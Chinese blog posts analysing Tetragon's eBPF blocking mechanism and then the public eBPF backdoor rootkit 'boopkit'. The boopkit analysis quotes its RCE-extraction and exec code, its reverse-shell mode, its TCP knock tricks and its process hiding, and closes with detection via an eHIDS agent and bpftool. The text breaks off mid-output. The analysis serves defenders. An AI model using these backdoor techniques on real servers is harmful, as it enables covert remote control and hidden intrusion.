a reference to the tracepoint program in // order to delete it. TODO: This can be moved into loaderData for // tracepoints. TraceFD int // LoaderData represents per-type specific fields. LoaderData interface{} // unloader for the program. nil if not loaded. unloader unloader.Unloader } ExecveV53 = program.Builder( "bpf_execve_event_v53.o", "sched/sched_process_exec", "tracepoint/sys_execve", "event_execve", "execve", ) Sensors传感器加载 默认传感器注册 pkg/sensors/tracing包下由两个文件对传感器进行默认注册,分别是generictracepoint.go与generickprobe.go,写入如下两个Sensors到registeredTracingSensors中。 observerKprobeSensor ,kprobe类型HOOK observerTracepointSensor, tracepoint类型HOOK 同时,还会注册自定义eBPF probe加载器到registeredProbeLoad中。 // generickprobe.go#Line=43 func init() { kprobe := &observerKprobeSensor{ name: "kprobe sensor", } sensors.RegisterProbeType("generic_kprobe", kprobe) sensors.RegisterTracingSensorsAtInit(kprobe.name, kprobe) observer.RegisterEventHandlerAtInit(ops.MSG_OP_GENERIC_KPROBE, handleGenericKprobe) } 策略文件解析 GetSensorsFromParserPolicy方法遍历所有Sensors,调用它的SpecHandler方法,解析yaml配置。解析配置后,生成新的传感器对象,作为整个应用启动、注入、监听的所有传感器。 // cmd/tetragon/main.go#line=209 startSensors, err = sensors.GetSensorsFromParserPolicy(&cnf.Spec) // pkg/sensors/sensors.go#line=160 for _, s := range registeredTracingSensors { sensor, err := s.SpecHandler(spec) if err != nil { return nil, err } if sensor == nil { continue } sensors = append(sensors, sensor) } 新增传感器 接上,yaml解析器读取格式后,根据当前传感器的类型(kprobe还是tracepoint),处理yaml配置文件对应的HOOK配置。 kprobe类型 以kprobe类型的hook配置为例,调用 addGenericKprobeSensors 详细处理每一个配置内容。 // pkg/sensors/tracing/generickprobe.go#line=242-516 func addGenericKprobeSensors(kprobes []v1alpha1.KProbeSpec, btfBaseFile string) (*sensors.Sensor, error) { // 遍历所有kprobes的元素 for i := range kprobes { f := &kprobes[i] funcName := f.Call // 1. 验证配置文件中配置依赖,比如Sigkill需要内核大于5.3 // 2. 解析匹配参数(进程名、namespace、路径、五元组等)写入BTF对象 // 3. 解析ReturnArg 返回值参数,写入到BTF对象 // 4. 过滤保留参数,写入BTF对象 // 5. 解析Filters逻辑,写入BTF对象 // 6. 解析Binary名字到内核数据结构体 // 7. 将属性写入BTF指针,以便加载 // 8. 判断action是否为SIGKILL,并写入BTF对象 kernelSelectors, err := selectors.InitKernelSelectors(f) kprobeEntry := genericKprobe{ loadArgs: kprobeLoadArgs{ filters: kernelSelectors, btf: uintptr(btfobj), retprobe: setRetprobe, syscall: is_syscall, }, argSigPrinters: argSigPrinters, argReturnPrinters: argReturnPrinters, userReturnFilters: userReturnFilters, funcName: funcName, pendingEvents: map[uint64]pendingEvent{}, tableId: idtable.UninitializedEntryID, } genericKprobeTable.AddEntry(&kprobeEntry) // 9. 设定这个kprobe所需的ebpf字节码文件信息 loadProgName := "bpf_generic_kprobe_v53.o" // 10. 利用如上信息,填充到prog的结构体中。 // 11. 在prog结构体中,label字段的值都是**kprobe/generic_kprobe** load := program.Builder( path.Join(option.Config.HubbleLib, loadProgName), funcName, "kprobe/generic_kprobe", "kprobe"+"_"+funcName, "generic_kprobe"). SetLoaderData(kprobeEntry.tableId) } // 创建生成新的sensor,并返回 return &sensors.Sensor{ Name: "__generic_kprobe_sensors__", Progs: progs, Maps: []*program.Map{}, }, nil } 解析过程如下: 验证配置文件中配置依赖,比如Sigkill需要内核大于5.3 解析匹配参数(进程名、namespace、路径、五元组等)写入BTF对象 解析ReturnArg 返回值参数,写入到BTF对象 过滤保留参数,写入BTF对象 解析Filters逻辑,写入BTF对象 解析Binary名字到内核数据结构体 将属性写入BTF指针,以便加载 判断action是否为SIGKILL,并写入BTF对象 设定这个kprobe所需的ebpf字节码文件信息 利用如上信息,填充到prog的结构体中。 在prog结构体中,label字段的值都是kprobe/generic_kprobe 解析完成后,返回一个新的sensor,并添加到Sensors传感器数组中。 至此,完成了配置文件的解析。 在这里,阻断指令的配置,是保存在genericKprobe.loadArgs.filters这个byte数组中的。 动态更新 在tetragon项目中,还具备从远程下发新的规则,更新、添加Sensor传感器功能,相应代码在pkg/observer/observer.go中,本篇不做过多展开,会在下篇分享。 // InitSensorManager starts the sensor controller and stt manager. func (k *Observer) InitSensorManager() error { var err error SensorManager, err = sensors.StartSensorManager(k.bpfDir, k.mapDir, k.ciliumDir) return err } eBPF加载与挂载 Sensors启动 传感器启动加载,执行流程为obs.Start(ctx, startSensors) -> config.LoadConfig -> load.Load 。 在Load方法里,对每一个Program元素,调用observerLoadInstance方法进行加载。 // load.Load // Load loads the sensor, by loading all the BPF programs and maps. func (s *Sensor) Load(stopCtx context.Context, bpfDir, mapDir, ciliumDir string) error { for _, p := range s.Progs { // ... // 加载每个prog if err := observerLoadInstance(stopCtx, bpfDir, mapDir, ciliumDir, p); err != nil { return err } // ... } } eBPF Program加载、挂载 在对每个eBPF program进行加载时,会判断HOOK的类型,针对tracepoint特殊判断处理。这里还是以Kprobe为例。代码调用loadInstance函数,逻辑中判断是否存在自定义的加载器: 若有,则调用s.LoadProbe加载; 若没有,则调用loader.LoadKprobeProgram加载; // pkg/sensors/load.go#Line=297 if s, ok := registeredProbeLoad[load.Type]; ok { logger.GetLogger().WithField("Program", load.Name).WithField("Type", load.Type).Infof("Load probe") return s.LoadProbe(LoadProbeArgs{ BPFDir: bpfDir, MapDir: mapDir, CiliumDir: ciliumDir, Load: load, Version: version, Verbose: verbose, }) } return loader.LoadKprobeProgram( version, verbose, btfObj, load.Name, load.Attach, load.Label, filepath.Join(bpfDir, load.PinPath), mapDir, load.RetProbe) 同样,以前面提到的observerKprobeSensor类型传感器,已经注册自己的Probe加载器,那么会走s.LoadProbe()逻辑,之后,调用loadGenericKprobeSensor() -> loadGenericKprobe()进行加载。 这里的load.Name、load.Attach、load.Label的值,来自前面的yaml配置文件读取部分,值分别为bpf_generic_kprobe_v53.o、 __x64_sys_write 、 kprobe/generic_kprobe,也就是说,不管是哪个kprobe函数,都会被挂载到kprobe/generic_kprobe上,都被generic_kprobe_event()这个eBPF 函数处理,起到统一管理的网关作用。 kprobe/generic_kprobe对应的eBPF代码在bpf/process/bpf_generic_kprobe.c文件里,我们在后面内核空间代码详细分析。 __attribute__((section(("kprobe/generic_kprobe")), used)) int generic_kprobe_event(struct pt_regs *ctx) { return generic_kprobe_start_process_filter(ctx); } filters过滤器 loadGenericKprobe()函数最后一个参数filters过滤器参数,类型是[4096]byte func loadGenericKprobe(bpfDir, mapDir string, version int, p *program.Program, btf uintptr, genmapDir string, filters [4096]byte) error { } 其内容为前面yaml格式解析中的第5步, kernelSelectors, err := selectors.InitKernelSelectors(f) 格式构成为 filter := [length][matchPIDs][matchBinaries][matchArgs][matchNamespaces][matchCapabilities][matchNamespaceChanges][matchCapabilityChanges] 这些数据,也是在内核空间eBPF逻辑中,实现参数匹配,动作响应的判断依据。 Cgo函数调用 在调用BPF SYSCALL的实现上,Tetragon没有使用母公司自己的Cilium/ebpf库,而是使用CGo包装了libbpf进行加载。使用的版本还是0.2.0,当前社区最新版为0.7.0,比较老。(下一篇再讲原因) loadGenericKprobe()函数调用bpf.LoadGenericKprobeProgram(),并把filters传递给下一个CGO的函数C.generic_kprobe_loader(),函数定义在pkg/bpf/loader.go的476行。 int generic_kprobe_loader(const int version, const int verbosity, bool override, void *btf, const char *prog, const char *attach, const char *label, const char *__prog, const char *mapdir, const char *genmapdir, void *filters) { struct bpf_object *obj; int err; obj = generic_loader_args(version, verbosity, override, btf, prog, attach, label, __prog, mapdir, filters, BPF_PROG_TYPE_KPROBE); if (!obj) { return -1; } // ... } 之后,再调用CGO的C函数generic_loader_args()进行BPF SYSCALL调用,加载eBPF程序,挂载到对应kprobe函数上。之后,再写入eBPF Maps。 eBPF Maps创建写入 Tetragon使用eBPF Maps进行用户空间与内核空间的配置数据交互,比如yaml配置文件中,各种过滤条件,匹配后的处理动作等。 还是以open_kill.yaml为例,涉及了两类eBPF Map: 特征匹配规则,也就是配置的内容,比如需要保护的文件路径、IP黑名单等,称之为filters规则 路由分发规则,也就是tetragon程序内部,用于eBPF HOOK的函数网关处理各类参数的自用规则,用尾调用Tail Call类型的map实现。 filters规则Map 在generic_loader_args()里,创建了"filter_map" eBPF Map,并将判断规则、阻断规则filter bytes数组写入到这个map里,格式依旧是[4096]byte的字节流。 // ... char *filter_map = "filter_map"; // ... map_fd = bpf_object__find_map_fd_by_name(obj, filter_map); if (map_fd >= 0) { err = bpf_map_update_elem(map_fd, &zero, filter, BPF_ANY); if (err) { printf("WARNING: map update elem %s error %d\n", filter_map, err); } } Tail Call尾调用Map 在eBPF Program加载部分提到,eBPF Kprobe函数kprobe/generic_kprobe(即generic_kprobe_event())作为统一的过滤处理网关,针对不同的kprobe,其参数个数、参数类型一定是不一样的,比如文件读写函数__x64_sys_write有三个参数,分别是 args: - index: 0 type: "fd" - index: 1 type: "char_buf" sizeArgIndex: 3 - index: 2 type: "size_t" 而SOCKET连接函数__x64_connect只有两个参数,分别是 args: - index: 0 type: "sockfd" - index: 1 type: "sockaddr" 并且,他们的参数类型也不一样,作为统一网关,且面对参数个数、参数类型都不一样的问题,Tetragon在eBPF的解决方案是使用BPF_MAP_TYPE_PROG_ARRAY类型的eBPF Map实现,用于尾调用Tail Call处理。, kprobe_calls尾调用Map struct bpf_map_def __attribute__((section("maps"), used)) kprobe_calls = { .type = BPF_MAP_TYPE_PROG_ARRAY, .key_size = sizeof(__u32), .value_size = sizeof(__u32), .max_entries = 11, }; kprobe_calls Map写入 map_bpf = bpf_object__find_map_by_name(obj, "kprobe_calls"); // ... err = bpf_map__pin(map_bpf, map_name); // ... map_fd = bpf_map__fd(map_bpf); for (i = 0; i < 11; i++) { struct bpf_program *prog; char prog_name[20]; char pin_name[200]; int fd; snprintf(prog_name, sizeof(prog_name), "kprobe/%i", i); prog = bpf_object__find_program_by_title(obj, prog_name); if (!prog) goto out; fd = bpf_program__fd(prog); if (fd < 0) { err = errno; goto err; } snprintf(pin_name, sizeof(pin_name), "%s_%i", __prog, i); bpf_program__unpin(prog, pin_name); err = bpf_program__pin(prog, pin_name); if (err) { printf("program pin %s tailcall err %d\n", pin_name, err); goto err; } err = bpf_map_update_elem(map_fd, &i, &fd, BPF_ANY); if (err) { printf("map update elem i %i %s tailcall err %d %d\n", i, prog_name, err, errno); goto err; } } 用户空间程序,读取eBPF二进制文件,读取kprobe开头的的eBPF函数,以ID作为Key,写入到kprobe_calls尾调用表中。 一共11个函数,都在bpf/process/bpf_generic_kprobe.c文件里,分别是: kprobe/0 对应 generic_kprobe_process_event0 kprobe/1 对应 generic_kprobe_process_event1 kprobe/2 对应 generic_kprobe_process_event2 kprobe/3 对应 generic_kprobe_process_event3 kprobe/4 对应 generic_kprobe_process_event4 kprobe/5 对应 generic_kprobe_process_filter kprobe/6 对应 generic_kprobe_filter_arg1 kprobe/7 对应 generic_kprobe_filter_arg2 kprobe/8 对应 generic_kprobe_filter_arg3 kprobe/9 对应 generic_kprobe_filter_arg4 kprobe/10 对应 generic_kprobe_filter_arg5 至此,涉及eBPF阻断功能的用户空间逻辑全部完成。 内核空间 在内核空间,入口函数为用户空间HOOK的kprobe点 "kprobe/generic_kprobe" ,对应 generic_kprobe_event() 函数。这函数内部只有一个 generic_kprobe_start_process_filter()的调用。 统一网关触发 前面提到,tetragon是把open_kill.yaml中的所有kprobe syscall都交给这个eBPF函数处理,所以,当__x64_sys_write这些HOOK点触发后,逻辑都交给generic_kprobe_start_process_filter()处理。 // bpf/process/bpf_generic_kprobe.c#line=48 static inline __attribute__((always_inline)) int generic_kprobe_start_process_filter(void *ctx) { // ... /* Tail call into filters. */ tail_call(ctx, &kprobe_calls, 5); return 0; } 程序内部获取当前进程信息(struct task_struct、namespace、caps等)后,使用Tail Call尾调用转交kprobe_calls Maps的第5个函数处理,即generic_kprobe_process_filter()。 提醒 因eBPF虚拟机寄存器限制,只能获取前5个参数。 进程过滤流程 获取当前进程信息后,进入下一个流程,获取当前kprobe的进程参数。即进入generic_kprobe_process_filter()函数内部 // bpf/process/bpf_generic_kprobe.c#Line=146 // ... ret = generic_process_filter(msg, &filter_map, &process_call_heap); if (ret == PFILTER_CONTINUE) tail_call(ctx, &kprobe_calls, 5); else if (ret == PFILTER_ACCEPT) tail_call(ctx, &kprobe_calls, 0); /* If filter does not accept drop it. Ideally we would * log error codes for later review, TBD. */ return PFILTER_REJECT; 这里对kprobe所在进程信息,以及配置文件中信息匹配,判断是否要走过滤、阻断流程。流程逻辑如下 PFILTER_ACCEPT 逐个进入5类进程event事件判断 generic_process_event0() generic_process_event1() generic_process_event2() generic_process_event3() generic_process_event4() generic_kprobe_filter_arg1() PFILTER_CONTINUE直接进入参数判断 generic_kprobe_filter_arg1() OTHER 其他情况 直接返回PFILTER_REJECTeBPF HOOK流程。 参数判断流程 当前kprobe函数是否需要过滤判断完成后,流程转入真正的判断逻辑中,即tailcals尾调用的第6个函数处理,即generic_kprobe_filter_arg1() __attribute__((section(("kprobe/6")), used)) int generic_kprobe_filter_arg1(void *ctx) { return filter_read_arg(ctx, 0, &process_call_heap, &filter_map, &kprobe_calls, &override_tasks); } 其中,核心处理函数为filter_read_arg(),第四个参数&filter_map就是来自用户空间解析yaml的filters bytes数组。 filter_read_arg()函数判断触发当前kprobe的进程filter配置,若没找到,则调用kprobe/7至kprobe/9的尾调用函数,逐个查找filter配置。 阻断动作执行 当找到filter配置后,则读取配置中相应的action参数类型,开始进行相应动作分类判断,执行相关流程逻辑,这块都是在__do_action()函数中完成的。 actions = (struct selector_action *)&f[actoff]; postit = do_actions(e, actions, override_tasks); action动作的类型有下面几种 ACTION_POST = 0, ACTION_FOLLOWFD = 1, ACTION_SIGKILL = 2, ACTION_UNFOLLOWFD = 3, ACTION_OVERRIDE = 4, 每个action动作类型都有相应的处理逻辑,本文重点是阻断的实现,那么只需要关注ACTION_SIGKILL类型。 static inline __attribute__((always_inline)) long __do_action(long i, struct msg_generic_kprobe *e, struct selector_action *actions, struct bpf_map_def *override_tasks) { int action = actions->act[i]; switch (action) { case ACTION_UNFOLLOWFD: case ACTION_FOLLOWFD: // ... break; case ACTION_SIGKILL: if (bpf_core_enum_value(tetragon_args, sigkill)) send_signal(FGS_SIGKILL); break; case ACTION_OVERRIDE: default: break; } if (!err) { e->action = action; return ++i; } return -1; } 可以看到,针对类型,是调用了send_signal()函数进行下发FGS_SIGKILL指令给当前进程,完整阻断动作。send_signal()函数是ebpf的内置函数,在Kernel 5.3版本里增加。 阻断演示视频 可以到CNCF (Cloud Native Computing Foundation)的油管观看: Real Time Security - eBPF for Preventing attacks - Liz Rice, Isovalent LSM HOOK比较 LSM类HOOK是在Kernel 5.7以后才添加。阻断功能的实现,Tetragon选择send_signal()的方式,有着兼容更多内核版本的优势。并且其kprobe的HOOK点上,可以实现网关式通用处理,通过配置方式,更灵活的变更HOOK点,避免更新eBPF字节码的方式。 更灵活 网关式 内核版本覆盖多 总结 Tetragon是一个实时识别阻断的运行时防护系统。具备网关式统一处理抓手,可以覆盖更多内核版本,通过配置文件方式灵活变更HOOK点。在eBPF技术支持下,还具备热挂载,系统稳定性高,程序可靠性高等特点。是主机运行时防护系统HIDS的最佳学习项目。 笔者水平有限,若有错误,欢迎指出,谢谢。 阻断原理讲解视频 Tetragon阻断争论 2022年5月,云原生安全公司Isovalent的CTO宣布开源了其内部开发了多年的基于eBPF安全监控和阻断的方案:Tetragon。称可以防御容器逃逸的Linux内核漏洞。 安全研究人员Felix Wilhelm的质疑,在Tetragone: A Lesson in Security Fundamentals认为可以轻易绕过,并用CVE-2021-22555漏洞修改版演示。 这篇文章从标题上都充满了各种嘲讽,Tetragon单词加了e,大概是gone的谐音吧。grsecurity是linux 内核安全经验非常深厚的大厂,对这个领域比较精通。但Tetragon的优势并不是内核底层安全能力。 赛博堡垒(HardenedVault)也撰写一篇文章,云原生安全Tetragon案例之安全产品自防护 认为该产品必定失败。 随着云原生的流行,Linux内核安全成为了一个无法绕开的问题,某个容器被攻陷后可以向Linux内核发起攻击,一旦成功则整个主机都会被攻击者控制,如果你不想你的产品耗资上百万美金后攻击者两个小时就攻陷的话,那应该认真的考虑是否应该从一开始就建立正确的威胁模型。另外,eBPF机制更适合实现审计监控类的安全方案而非防护阻断类,VED的eBPF版本也仅仅是为审计而设计,剩下的事情你应该让SIEM和SOC团队去做,在安全流程上我们也应该遵循KISS(Keep it simple, stupid!)原则,不是吗? 我的看法 针对漏洞利用的方法(注:不是漏洞)的防御机制通常会针对三个阶段: Pre-exploitation(前漏洞利用阶段) Exploitation(漏洞利用阶段) Post-exploitation(后漏洞利用阶段) Tetragon的阻断功能是在Exploitation漏洞利用阶段生效的,因为是可以直接阻断,让此次漏洞攻击失败。 其次,认可几位安全人员的关于Tetragon适用场景说法,更适合阻断用户空间的内核逃逸漏洞。 否定的声音来自底层防御的传统厂商,其实他们没明白,Tetragon的优势是可以动态、轻量、无感知的提升防御能力,并不是完全防御所有攻击方式。 业务优先于安全 在云原生领域,业务类型多数是web服务,安全级别不需要那么高,硬件宿主机重启成本较高,性能要求大,业务优先,安全其次。过于严格的安全检测,占用过多资源,影响业务运行速度,性价比低,成本高。这是云原生场景不能接受的。但偶尔的入侵行为是能容忍的。所以业务优先级大于安全是第一守则。 安全优先于业务 传统安全厂商的产品对系统稳定性、可用性、性能都有较大影响,且存在热更新的难题,哪怕解决了,依旧是特别重的方案。在轻量、动态、热更新的需求下,显得特别笨重。 机密数据库等保密程度较高的服务器,数据安全大于业务功能,愿意牺牲性能换取安全性,那么这种场景适合传统安全厂商的产品。这种场景的规则是安全优先级大于业务,更适合传统安全厂商发挥。 争议总结 当今互联网的服务器市场中,云原生业务占比越来越高,这将会是Tetragon、Falco、Tracee、Datadog等运行时安全产品愈加内卷的动力。 对于用户来说,根据自己的业务特性,选择相应的防御检测产品,满足自己业务需求。 参考 https://isovalent.com/blog/post/2022-05-16-tetragon 2022-06-08 +1 5 0
新型eBPF后门boopkit的原理分析与演示 前言 在《聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道》一文里,我们讨论了二十年前基于BPF技术后门的功能实现,技术原理等。也展望也在二十年后的今天,eBPF技术加持下,有更多可以被后门利用的技术点,可以造成更大的破坏力。 同时,在《Linux中基于eBPF的恶意利用与检测机制》介绍了eBPF的恶意利用,与防御相关的检测防御机制等。笔者对当下国内IDC对eBPF防御建设的不完善感到忧心,综合国外DefCon等安全峰会中的话题内容,预判未来一段时间,基于eBPF的后门会越来越多,越来越隐秘。 就在一个多月前,笔者看到了一款基于eBPF技术后门Boopkit,上传到https://github.com/kris-nova/boopkit,今天,就跟大家一起来了解一下它的技术原理。 boopkit介绍 boopkit是基于eBPF技术实现的Linux后门rootkit,利用任意开启的TCP端口服务,远程唤醒后门,生成反弹shell,具备远程命令执行等能力。 此项目是在2022年3月30日首次创建,至今1个多月,已经有近1000星,在Twitter上也有一定热度,持续传播中。 用户空间的加载器与内核态代码都是纯C编写。 部分脚本使用Makefile、shell等脚本语言。 作者 Kris Nóva 是一位女性安全工程师,经常在twitch上直播写代码,有兴趣的同学可以去围观。 功能 GitHub上Boopkit介绍: Remote code execution over TCP (SSH, Nginx, Kubernetes, etc) Network gateway bypass (bad checksums, TCP reset) Self obfuscation at runtime (eBPF process hiding) 很容易看出,这是后门工具,利用当前服务器开启的任意TCP端口作为通讯隧道,比如SSH、Nginx、Kubernetes等常用服务。利用eBPF技术,在HOOK tracepoint的tcp_bad_csum、tcp_receive_reset这两个TCP内核函数,作为敲门、传递信息的机制,进行通讯。并具备进程的自我隐藏等能力。 相比之前《聊一聊BVP47》的SYN窍门,有异曲同工之妙。但多了传送RCE shell等更多利用,当然,也是在高版本eBPF实现的功能。 安装测试 环境依赖 编译依赖 项目说明中,依赖如下: clang bpftool Required for libbpf xdp-tools Required for libxdp llvm pcap lib32-glibc 笔者环境是ubuntu 22.04的Desktop,内核版本是 5.15的。理论上其他低点的版本有可以运行。 笔者的clang、llvm都是12,bpftool在项目编译时不需要,但需要安装libbpf-dev这个开发包,依赖头文件。在ubuntu 22.04上,libbpf-dev是0.5.0的版本,版本太低,可以下载libbpf-0.6.1版本,安装使用。 xdp-tools、pcap也都是需要开发的头文件,记得安装devel版本的类库。 lib32-glibc包是ArchLinux发行版上的包名字,在其他Linux发行版上一般叫glibc,对应开发库libc6-dev-i386等。 内核依赖 内核版本上项目没说明,理论5.x都行,4.x请自测。但配置上,需要启用tcp_bad_csum、tcp_receive_reset两个函数的tracepoint。可以检查/sys/kernel/debug/tracing/events/tcp目录下是否有这两个目录。 运行依赖 客户端在启动后,需要监听端口,等待后门的反弹shell链接过来。使用的是ncat程序,需要提前安装好。ubuntu上命令sudo apt install ncat。 命令参数 Boopkit后门分为两部分: 服务端:程序名boopkit,运行在被入侵的服务器上。 客户端:程序名boopkit-boop,黑客使用的控制端。 服务端 程序名是boopkit,编译好后,会把ebpf的字节码文件写入到/root/.boopkit/目录下,有三个文件: pr0be.boop.o pr0be.safe.o pr0be.xdp.o pr0be.boop.o用于TCP的网络HOOK,实现敲门以及网络RCE接收。 pr0be.safe.o用于后门进程的自我保护,启动后,在进程列表中隐藏自己。 pr0be.xdp.o截止至2022-05-06,还是空的,没有逻辑。从作者直播中提到,应该是打算用于替换掉libpcap方式的数据包拦截、解析,以及提取RCE,用于更好地隐藏自己。 该程序命令帮助如下: Boopkit. Linux rootkit and backdoor. Built using eBPF. Usage: boopkit [options] Options: -h, help Display help and usage for boopkit. -i, interface Interface name. lo, eth0, wlan0, etc -s, sudo-bypass Bypass sudo check. Breaks PID obfuscation. -r, reverse-conn Attempt a reverse RCE lookup if no payload found. -q, quiet Disable output. -x, reject Source addresses to reject triggers from. 参数说明 interface -i参数将用于libpcap的网络嗅探的目标网卡,用于提取RCE。若走eBPF XDP方式,则不需要指定网卡,都可以拿到,那么后门的适应性更强。只是作者还没实现。 sudo-bypass -s参数用于躲避sudo用户检测。 reverse-conn -r参数是配置参数,当前后门是否启用反弹shell模式。反弹shell模式交互好,但隐蔽性不好。该后门也提供了秘密执行的功能,下文会提到。 quiet -q参数是静默模式,不输出日志。 reject -x参数算是后门的扩展功能,用于黑名单IP的筛选,意义不大。 前面介绍了后门的参数功能,下面讲下后门对RCE执行的两种方式,以及对应代码实现。 直接执行 使用libpcap库读取网络通讯包,筛选出黑客的IP,读取TCP的payload信息,匹配特征字符串BOOPKIT_RCE_DELIMITER,读取RCE信息。再调用系统system函数执行。 #define BOOPKIT_RCE_DELIMITER "X*x.x*X" #define BOOPKIT_RCE_CMD_HALT "X*x.HALT.x*X" //boopkit.c xcap_found = xcaprce(saddrval, rce); if (xcap_found == 1) { exec(rce); bpf_map_delete_elem(fd, &jkey); ikey = jkey; continue; } // dpi.c // Search for (int i = 0; i < XCAP_BUFFER_SIZE; i++) { struct xcap_ip_packet *xpack; xpack = snap[i]; if (!xpack->captured) { continue; } char *xpack_saddr = inet_ntoa(xpack->iph->ip_src); char *ret = strstr(search, xpack_saddr); if (!ret) { continue; // Filter packets not from our IP address } // Begin DPI unsigned char *packet = xpack->packet; char *rce_sub; rce_sub = memmem(packet, xpack->header->caplen, BOOPKIT_RCE_DELIMITER, strlen(BOOPKIT_RCE_DELIMITER)); if (rce_sub != NULL) { boopprintf(" -> Found RCE xCap!\n"); int found; found = rce_filter(rce_sub, rce); // Flush the snapshot xcap_ring_buffer_free(snap); // Flush the main ring buffer xcap_ring_buffer_free(xcap_ring_buffer); xcap_ring_buffer_init(xcap_ring_buffer); if (found) { return 1; } else { boopprintf(" XX [FILTER FAILURE] No RCE in xCap!\n"); return 0; } } } 也可以通过RCE中包含特定字符串,来关停后门。 反弹shell 若后门启用反弹shell模式,则可以让这台boopkit的机器主动向黑客监听端口发起TCP链接。隐蔽性不如上面一种模式,但交互比较好,可以只需不停的读取黑客命令,并调用系统system函数执行。 retval = recvrce(saddrval, rce); if (retval == 0) { exec(rce); bpf_map_delete_elem(fd, &jkey); ikey = jkey; continue; } eBPF HOOK 后门一共hook了两类eBPF功能点,TCP与进程列表等几个运行时函数。 eBPF TCP HOOK pr0be.boop.c 内容比较简单,实现了tcp_bad_csum与tcp_receive_reset两个函数HOOK,功能逻辑也比较简单,就是读取TCP包的来源IP,并写入eBPF map,用于存放黑客认证IP。IP将在libpcap网络包读取部分使用。 SEC("tracepoint/tcp/tcp_bad_csum") SEC("tracepoint/tcp/tcp_receive_reset") pr0be.safe.c 代码稍微多了一点点,业务功能是实现了当前后门进程的PID隐藏,HOOK了多个函数点: SEC("tp/syscalls/sys_enter_getdents64") SEC("tp/syscalls/sys_exit_getdents64") SEC("tp/syscalls/sys_exit_getdents64") HOOK点之间,使用多张eBPF Map存储数据,一部分用于内核空间跟用户空间通讯,另外一部分用于多个HOOK点之间通讯。使用bpf_tail_call尾调用实现隐藏逻辑控制。 pr0be.xdp.c 该文件目前是空,前面也提到了,这个应该是作者用于替换libpcap实现网络数据读取的功能,等待实现。 客户端 程序名是boopkit-boop,功能是构造畸形或带RCE payload的TCP数据包,发送到服务端,触发服务端内核的tcp_bad_csum、tcp_receive_reset函数,对Boopkit后门敲门。 后门程序封装了一个SHELL脚本,启动控制boopkit-boop客户端端更方便。默认启用反弹shell模式,并使用ncat程序监听3545端口,等待被入侵服务器主动连接过来。 boopkit运行原理 Boop敲门Vectors Boopkit(服务端)会响应各种网络事件,boopkit-boop(客户端)工具内置了两种敲门机制。 其利用的TCP帧原理如下图: 无效的Checksum boopkit-boop客户端工具将通过SOCK_RAW Socket 向boopkit服务器发送一个带有空校验和的畸形 TCP SYN 数据包。不管这台服务器正在运行什么TCP服务,都会成功敲门,触发eBPF的TCP HOOK。在Linux服务器通吃。 ⚠️注意 个别硬件网卡将丢弃所有格式错误的校验和数据包,该工具失效! 发送ACK-RST包 boopkit-boop客户端工具将使用 SOCK_STREAM Socket针对目标的TCP服务(如SSH、Kubernetes、Nginx等)先正常完成TCP握手后,会关闭该TCP链接,以确保这个服务是正常启动的。 之后,再重复该过程,将重置数据包中的TCP RESET标志位,触发服务器上eBPF TCP HOOK。 视频演示 检测机制 行为 网络行为 网络抓包可以抓到敲门的包,但如果用XDP实现,是可以做到读取后,直接XDP_DROP掉,抓包就抓不到了。隐秘性更可怕。 从图中,可以看到,Checksum的值是0,且后面的TCP Segment已经被改成不合法的,无法解析的包。RCE也被放置在payload中。(两头加了BOOPKIT_RCE_DELIMITER标记) 端口监听 后门不监听端口,隐藏进程,普通工具查不出来。 进程 RCE执行时,会有记录,但进程的父ID查不出来。 top命令却能直接看到,也能直接kill掉,隐藏的不够好。 基于eBPF的特征 事中 GitHub上,笔者开源了一个基于eBPF实现的HIDS入侵检测系统ehids-agent DEMO,具备基本的BPF Call调用检测,可以来测试一下能否发现。 为了减少干扰信息,笔者这里只开启了eHIDS的bpf call monitor模块。 cfc4n@vm-desktop:~/project/ehids-agent$ sudo ./bin/ehids-agent [sudo] password for cfc4n: 2022/05/07 00:21:53 https://github.com/ehids/ehids-agent 2022/05/07 00:21:53 process pid: 69409 2022/05/07 00:21:53 start to run EBPFProbeBPFCall module 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:1, Cmd:BPF_PROG_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 可以看到,能精准地监控到调用的BPF指令,进程ID,进程名,命令行参数等。 事后 该后门,在进程PID隐藏上做了实现,但在bpf的行为特征上,目前还没有实现。可以用bpftool等常规工具来检查它。 prog root@vm-desktop:~# bpftool prog show 216: tracepoint name handle_getdents tag d5fabe9da09eec5e gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 144B jited 93B memlock 4096B map_ids 135,129 btf_id 180 218: tracepoint name handle_getdents tag d197d702eb020291 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 1216B jited 841B memlock 4096B map_ids 129,130,135,132,131 btf_id 180 219: tracepoint name handle_getdents tag e938383ee7761b31 gpl 